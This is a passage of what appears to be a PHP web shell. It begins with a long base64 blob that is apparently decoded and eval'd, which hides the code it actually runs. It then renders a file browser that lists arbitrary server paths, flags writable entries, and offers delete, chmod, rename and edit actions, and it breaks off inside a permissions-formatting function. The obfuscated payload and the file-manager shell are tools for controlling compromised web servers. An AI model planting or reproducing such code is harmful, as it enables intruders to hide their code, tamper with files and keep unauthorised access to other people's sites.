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')))));
  320. ///////////////////////////udah sampe situ aja,, blom di tambahin lagi
  321. echo '</center>';
  322. $scandir = scandir($path);
  323. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  324. <tr class="first">
  325. <td><center>Name</center></td>
  326. <td><center>Size</center></td>
  327. <td><center>Permission</center></td>
  328. <td><center>Modify</center></td>
  329. </tr>';
  330.  
  331. foreach($scandir as $dir){
  332. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  333. echo '<tr>
  334. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  335. <td><center>--</center></td>
  336. <td><center>';
  337. if(is_writable($path.'/'.$dir)) echo '<font color="pink">';
  338. elseif(!is_readable($path.'/'.$dir)) echo '<font color="purple">';
  339. echo perms($path.'/'.$dir);
  340. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  341.  
  342. echo '</center></td>
  343. <td><center><form method="POST" action="?option&path='.$path.'">
  344. <select name="opt">
  345. <option value="">Select</option>
  346. <option value="delete">Delete</option>
  347. <option value="chmod">Chmod</option>
  348. <option value="rename">Rename</option>
  349. </select>
  350. <input type="hidden" name="type" value="dir">
  351. <input type="hidden" name="name" value="'.$dir.'">
  352. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  353. <input type="submit" value=">">
  354. </form></center></td>
  355. </tr>';
  356. }
  357. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  358. foreach($scandir as $file){
  359. if(!is_file($path.'/'.$file)) continue;
  360. $size = filesize($path.'/'.$file)/1024;
  361. $size = round($size,3);
  362. if($size >= 1024){
  363. $size = round($size/1024,2).' MB';
  364. }else{
  365. $size = $size.' KB';
  366. }
  367.  
  368. echo '<tr>
  369. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  370. <td><center>'.$size.'</center></td>
  371. <td><center>';
  372. if(is_writable($path.'/'.$file)) echo '<font color="pink">';
  373. elseif(!is_readable($path.'/'.$file)) echo '<font color="purple">';
  374. echo perms($path.'/'.$file);
  375. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  376. echo '</center></td>
  377. <td><center><form method="POST" action="?option&path='.$path.'">
  378. <select name="opt">
  379. <option value="">Select</option>
  380. <option value="delete">Delete</option>
  381. <option value="chmod">Chmod</option>
  382. <option value="rename">Rename</option>
  383. <option value="edit">Edit</option>
  384. </select>
  385. <input type="hidden" name="type" value="file">
  386. <input type="hidden" name="name" value="'.$file.'">
  387. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  388. <input type="submit" value=">">
  389. </form></center></td>
  390. </tr>';
  391. }
  392. echo '</table>
  393. </div>';
  394. }
  395. echo "
  396. </center>
  397. </body>
  398. </html>";
  399. ///////////////
  400. function perms($file){
  401. $perms = fileperms($file);
  402.  
  403. if (($perms & 0xC000) == 0xC000) {
  404. // Socket
  405. $info = 's';
  406. } elseif (($perms & 0xA000) == 0xA000) {
  407. // Symbolic Link
  408. $info = 'l';
  409. } elseif (($perms & 0x8000) == 0x8000) {
  410. // Regular
  411. $info = '-';
  412. } elseif (($perms & 0x6000) == 0x6000) {
  413. // Block special
  414. $info = 'b';
  415. } elseif (($perms & 0x4000) == 0x4000) {
  416. // Directory
  417. $info = 'd';
  418. } elseif (($perms & 0x2000) == 0x2000) {
  419. // Character special
  420. $info = 'c';
  421. } elseif (($perms & 0x1000) == 0x1000) {
  422. // FIFO pipe
  423. $info = 'p';
  424. } else {
  425. // Unknown
  426. $info = 'u';
  427. }
  428.  
  429. // Owner
  430. $info .= (($perms & 0x0100) ? 'r' : '-');
  431. $info .= (($perms & 0x0080) ? 'w' : '-');
  432. $info .= (($perms & 0x0040) ?
  433. (($perms & 0x0800) ? 's' : 'x' ) :
  434. (($perms & 0x0800) ? 'S' : '-'));
  435.  
  436. // Group
  437. $info .= (($perms & 0x0020) ? 'r' : '-');
  438. $info .= (($perms & 0x0010) ? 'w' : '-');
  439. $info .= (($perms & 0x0008) ?
